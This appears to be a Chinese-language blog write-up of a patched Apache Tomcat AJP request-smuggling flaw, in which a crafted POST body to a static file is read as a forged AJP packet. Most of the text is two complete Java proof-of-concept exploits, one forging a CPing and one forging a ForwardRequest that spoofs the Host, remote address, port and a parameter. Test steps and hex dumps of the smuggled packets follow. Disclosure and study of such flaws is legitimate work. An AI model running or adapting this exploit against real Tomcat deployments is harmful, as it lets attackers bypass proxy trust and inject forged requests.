此安全漏洞已修复,见https://issues.apache.org/bugzilla/show_bug.cgi?id=51698
建议升级Tomcat
部署到Tomcat上的应用一般会搭配一个Apache,
从浏览器(或其他UserAgent)发送的请求要经过两个协议才能转到Tomcat:
请求=>http协议=>Apache=>ajp协议=>Tomcat
从这个处理链来看,ajp协议数据包只能由Apache生成,
用户不能通过浏览器(或其他UserAgent)直接发送ajp协议数据包到Tomcat。
从Apache发送到Tomcat的ajp协议数据包主要有下面几种类型:
类型代码用1个字节表示,
Data类型没有类型代码,它的数据包的前两个字节表示包的长度,并且采用大端编码(BigEndian),
比如长度1792采用大端编码是0×0700,放到字节数组时,buf[0]=07,buf[1]=00
看到没有,如果长度等于1792,第一个字节buf[0]=07,也是Shutdown数据包的类型代码,
前面说了我们不能自己构造ajp协议数据包,
加上ForwardRequest和Data是一个整体,所以Data数据包一般情况不把它看成一条特殊指令,
不过奇迹总是可以发生的。
Tomcat是怎么处理ajp协议数据包的呢?
Shutdown和CPing不会有请求体,
所以Tomcat收到这两种类型的包后就马上处理了,然后返回响应,
ForwardRequest可以有Data,比如POST请求就可以有,
但是呢,Tomcat采用的是延迟读入策略,比如说POST请求体中包含了一个表单参数name=myname
只有当你在servlet中显示调用request.getParameter(“name”)时Tomcat才读入表单数据包,
如果你什么都不做,这个表单数据包还在InputStream中没被读出来,
此时Tomcat认为这个ForwardRequest已经处理完了,但是连接没有关闭,所以InputStream也没有关,
接着Tomcat继续处理下一个请求,这次它从InputStream中读出的是上次剩下的表单Data数据包,
当它取出这个数据包的第一个字节时,因为数据包长度的第一个字节可能是02、07、0A(10),
所以只要用心构造一个POST请求就能让Tomcat执行错误操作。
我们知道访问静态资源文件(比如html,jpg)是不会产生request.getParameter这样的调用的,
所以只要构造一个类似这样的请求就可以了:
POST http://127.0.0.1/index.html HTTP/1.0 Content-Length: 1792 ......ohter headers..... ......body here...
这样一个请求理论上就能关掉Tomcat,
不过,Tomcat实际上忽略Shutdown数据包了(Jetty倒是实现了).
下面举两个例子:
//1. 伪造CPing import java.io.PrintWriter; import java.net.Socket; public class CPingForgeryExample { public static void main(String[] args) throws Exception { System.out.println("Sending AJP CPing Packet..."); Socket socket = new Socket("localhost", 80); int cPingPacketLength = 0x0A00; //0x0A 表示此数据包是一个CPing包 StringBuilder body = new StringBuilder(cPingPacketLength); for (int i = 0; i < cPingPacketLength; i++) body.append('a'); PrintWriter p = new PrintWriter(socket.getOutputStream()); // "/examples/index.html" 是一个静态文件,不会触发request.getParameter("xxx") p.print("POST http://127.0.0.1/examples/index.html HTTP/1/1rn"); p.print("Host: 127.0.0.1rn"); p.print("Content-Length: " + cPingPacketLength + "rn"); p.print("Connection: keep-alivern"); p.print("rn"); p.print(body.toString()); p.flush(); Thread.sleep(3000); socket.close(); System.out.println("End"); } } /* 以下是测试步骤: 1: 配置mod_jk (参考http://tomcat.apache.org/connectors-doc/) 2: 启动tomcat7.0.20 3: 启动apache2.2 4: 编译 javac CPingForgeryExample.java 5: 运行 java CPingForgeryExample dump output as flowing: (just for demonstrating, not real output, if you want to see this output, you need to modify the org.apache.coyote.ajp.AjpProcessor.read): ----------------------------------------------------------------------------------------------- this is the first packet, 0x1234 indicate that this packet is sent from the apache server to the tomcat container 0x0075 indicate that this packet length is 117 buf len=4 --------------------------------------------------------------- 12 34 00 75 | .4.u --------------------------------------------------------------- 0x02 is the Code-Type of packet, indicate that this packet is a 'Forward Request' packet. buf len=117 --------------------------------------------------------------- 02 04 00 08 48 54 54 50 2F 31 2F 31 00 00 14 2F | ....HTTP/1/1.../ 65 78 61 6D 70 6C 65 73 2F 69 6E 64 65 78 2E 68 | examples/index.h 74 6D 6C 00 00 09 31 32 37 2E 30 2E 30 2E 31 00 | tml...127.0.0.1. FF FF 00 09 31 32 37 2E 30 2E 30 2E 31 00 00 50 | ..127.0.0.1..P 00 00 03 A0 0B 00 09 31 32 37 2E 30 2E 30 2E 31 | ...?...127.0.0.1 00 A0 08 00 04 32 35 36 30 00 A0 06 00 0A 6B 65 | .?...2560.?...ke 65 70 2D 61 6C 69 76 65 00 06 00 07 54 6F 6D 63 | ep-alive....Tomc 61 74 41 00 FF | atA. --------------------------------------------------------------- this is the second packet, buf len=4 --------------------------------------------------------------- 12 34 0A 02 | .4.. --------------------------------------------------------------- 0x0A is the Code-Type of packet, indicate that this packet is a 'CPing' packet. buf len=2562 --------------------------------------------------------------- 0A 00 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | ..aaaaaaaaaaaaaa 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | aaaaaaaaaaaaaaaa 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | aaaaaaaaaaaaaaaa ..................... */
//2. 伪造ForwardRequest import java.io.*; import java.net.Socket; public class ForwardRequestForgeryExample { public static void main(String[] args) throws Exception { System.out.println("Sending AJP Forward-Request Packet..."); Socket socket = new Socket("localhost", 80); //0x02 is the CodeType of ForwardRequest Packet //0x04 is the "POST" method code int bodyLength = 0x0204; PrintStream p = new PrintStream(socket.getOutputStream()); // "/examples/index.html" is a static file, do not trigger request.getParameter("xxx") p.print("POST http://127.0.0.1/examples/index.html HTTP/1/1rn"); p.print("Host: 127.0.0.1rn"); p.print("Content-Length: " + bodyLength + "rn"); p.print("Connection: keep-alivern"); p.print("rn"); AjpMessage body = new AjpMessage(bodyLength); body.appendString("HTTP/1.1"); //protocol body.appendString("/examples/servlets/servlet/HelloWorldExample"); //requestURI body.appendString("1.2.3.4"); //remoteAddr body.appendString("foofoofoo"); //remoteHost body.appendString("barbarbar"); //localName body.appendInt(999); //localPort body.appendByte(0); //isSSL body.appendInt(3); //headers count body.appendString("Host"); body.appendString("my.evil-site.com"); body.appendString("Content-Type"); body.appendString("application/x-www-form-urlencoded"); body.appendString("Content-Length"); //string length(2 bytes) + Content-Length digits(3 bytes) + terminating (1 byte) + 0xFF(1 byte) int nestedBodyLength = bodyLength - body.getLen() - 2 - 3 - 1 - 1; body.appendString(String.valueOf(nestedBodyLength)); body.appendByte(0xFF); //Terminates list of attributes nestedBodyLength = nestedBodyLength - 2 - 1; StringBuilder nestedBody = new StringBuilder(nestedBodyLength); for (int i = 0; i < nestedBodyLength; i++) nestedBody.append('a'); body.appendString(nestedBody.toString()); p.write(body.getBuffer(), 0, body.getLen()); p.flush(); p.print("POST http://127.0.0.1/examples/index.html HTTP/1/1rn"); p.print("Host: 127.0.0.1rn"); p.print("Content-Length: " + bodyLength + "rn"); p.print("Connection: keep-alivern"); //HelloWorldExample: request.getParameter("woo") p.print("EvilHeader: =Who Care&woo=I am here&let it bern"); p.print("rn"); p.flush(); Thread.sleep(3000); socket.close(); System.out.println("End"); } public static class AjpMessage { public AjpMessage(int packetSize) { buf = new byte[packetSize]; } protected byte buf[] = null; protected int pos; public byte[] getBuffer() { return buf; } public void appendInt(int val) { buf[pos++] = (byte) ((val >>> 8) & 0xFF); buf[pos++] = (byte) (val & 0xFF); } public void appendByte(int val) { buf[pos++] = (byte) val; } public void appendString(String str) { if (str == null) { appendInt(0); appendByte(0); return; } int len = str.length(); appendInt(len); for (int i = 0; i < len; i++) { char c = str.charAt(i); if ((c <= 31) && (c != 9)) { c = ' '; } else if (c == 127) { c = ' '; } appendByte(c); } appendByte(0); } public int getLen() { return pos; } } } /* test steps: 1: modify TOMCAT_HOMEwebappsexamplesWEB-INFclassesHelloWorldExample.java as flowing: import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class HelloWorldExample extends HttpServlet { private static final long serialVersionUID = 1L; public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { doPost(request, response); } public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { System.out.println("Invoke HelloWorldExample.doPost method:"); System.out.println("-------------------------------------------"); System.out.println("Host: " + request.getHeader("Host")); System.out.println("RemoteAddr: " + request.getRemoteAddr()); System.out.println("LocalPort: " + request.getLocalPort()); System.out.println("woo: " + request.getParameter("woo")); } } 2 compile TOMCAT_HOMEwebappsexamplesWEB-INFclassesHelloWorldExample.java 3: config the mod_jk(refer to http://tomcat.apache.org/connectors-doc/ 4: startup tomcat7.0.20 5: startup apache2.2 6: compile this example javac ForwardRequestForgeryExample.java 7: run this example java ForwardRequestForgeryExample 8: look at the tomcat console, you can see: Invoke HelloWorldExample.doPost method: ------------------------------------------- Host: my.evil-site.com RemoteAddr: 1.2.3.4 LocalPort: 999 woo: I am here 9: open the browser, input http://127.0.0.1/examples/servlets/servlet/HelloWorldExample, then look at the tomcat console, you can see: Invoke HelloWorldExample.doPost method: ------------------------------------------- Host: 127.0.0.1 RemoteAddr: 127.0.0.1 LocalPort: 80 woo: null try again, input http://127.0.0.1:8080/examples/servlets/servlet/HelloWorldExample, then look at the tomcat console, you can see: Invoke HelloWorldExample.doPost method: ------------------------------------------- Host: 127.0.0.1:8080 RemoteAddr: 127.0.0.1 LocalPort: 8080 woo: null dump output as flowing: (just for demonstrating, not real output, if you want to see this output, you need to modify the org.apache.coyote.ajp.AjpProcessor.read): ----------------------------------------------------------------------------------------------- buf len=4 --------------------------------------------------------------- 12 34 00 74 | .4.t --------------------------------------------------------------- buf len=116 --------------------------------------------------------------- 02 04 00 08 48 54 54 50 2F 31 2F 31 00 00 14 2F | ....HTTP/1/1.../ 65 78 61 6D 70 6C 65 73 2F 69 6E 64 65 78 2E 68 | examples/index.h 74 6D 6C 00 00 09 31 32 37 2E 30 2E 30 2E 31 00 | tml...127.0.0.1. FF FF 00 09 31 32 37 2E 30 2E 30 2E 31 00 00 50 | ..127.0.0.1..P 00 00 03 A0 0B 00 09 31 32 37 2E 30 2E 30 2E 31 | ...?...127.0.0.1 00 A0 08 00 03 35 31 36 00 A0 06 00 0A 6B 65 65 | .?...516.?...kee 70 2D 61 6C 69 76 65 00 06 00 07 54 6F 6D 63 61 | p-alive....Tomca 74 41 00 FF | tA. --------------------------------------------------------------- buf len=4 --------------------------------------------------------------- 12 34 02 06 | .4.. --------------------------------------------------------------- buf len=518 --------------------------------------------------------------- 02 04 00 08 48 54 54 50 2F 31 2E 31 00 00 2C 2F | ....HTTP/1.1..,/ 65 78 61 6D 70 6C 65 73 2F 73 65 72 76 6C 65 74 | examples/servlet 73 2F 73 65 72 76 6C 65 74 2F 48 65 6C 6C 6F 57 | s/servlet/HelloW 6F 72 6C 64 45 78 61 6D 70 6C 65 00 00 07 31 2E | orldExample...1. 32 2E 33 2E 34 00 00 09 66 6F 6F 66 6F 6F 66 6F | 2.3.4...foofoofo 6F 00 00 09 62 61 72 62 61 72 62 61 72 00 03 E7 | o...barbarbar..? 00 00 03 00 04 48 6F 73 74 00 00 10 6D 79 2E 65 | .....Host...my.e 76 69 6C 2D 73 69 74 65 2E 63 6F 6D 00 00 0C 43 | vil-site.com...C 6F 6E 74 65 6E 74 2D 54 79 70 65 00 00 21 61 70 | ontent-Type..!ap 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 77 77 77 2D | plication/x-www- 66 6F 72 6D 2D 75 72 6C 65 6E 63 6F 64 65 64 00 | form-urlencoded. 00 0E 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 | ..Content-Length 00 00 03 33 31 38 00 FF 01 3B 61 61 61 61 61 61 | ...318..;aaaaaa ................................................. 61 61 61 61 61 00 | aaaaa. --------------------------------------------------------------- Invoke HelloWorldExample.doPost method: ------------------------------------------- Host: my.evil-site.com RemoteAddr: 1.2.3.4 LocalPort: 999 buf len=4 --------------------------------------------------------------- 12 34 00 A5 | .4.? --------------------------------------------------------------- buf len=165 --------------------------------------------------------------- 02 04 00 08 48 54 54 50 2F 31 2F 31 00 00 14 2F | ....HTTP/1/1.../ 65 78 61 6D 70 6C 65 73 2F 69 6E 64 65 78 2E 68 | examples/index.h 74 6D 6C 00 00 09 31 32 37 2E 30 2E 30 2E 31 00 | tml...127.0.0.1. FF FF 00 09 31 32 37 2E 30 2E 30 2E 31 00 00 50 | ..127.0.0.1..P 00 00 04 A0 0B 00 09 31 32 37 2E 30 2E 30 2E 31 | ...?...127.0.0.1 00 A0 08 00 03 35 31 36 00 A0 06 00 0A 6B 65 65 | .?...516.?...kee 70 2D 61 6C 69 76 65 00 00 0A 45 76 69 6C 48 65 | p-alive...EvilHe 61 64 65 72 00 00 21 3D 57 68 6F 20 43 61 72 65 | ader..!=Who Care 26 77 6F 6F 3D 49 20 61 6D 20 68 65 72 65 26 6C | &woo=I am here&l 65 74 20 69 74 20 62 65 00 06 00 07 54 6F 6D 63 | et it be....Tomc 61 74 41 00 FF | atA. --------------------------------------------------------------- woo: I am here buf len=4 --------------------------------------------------------------- 12 34 00 02 | .4.. --------------------------------------------------------------- buf len=2 --------------------------------------------------------------- 00 00 | .. --------------------------------------------------------------- */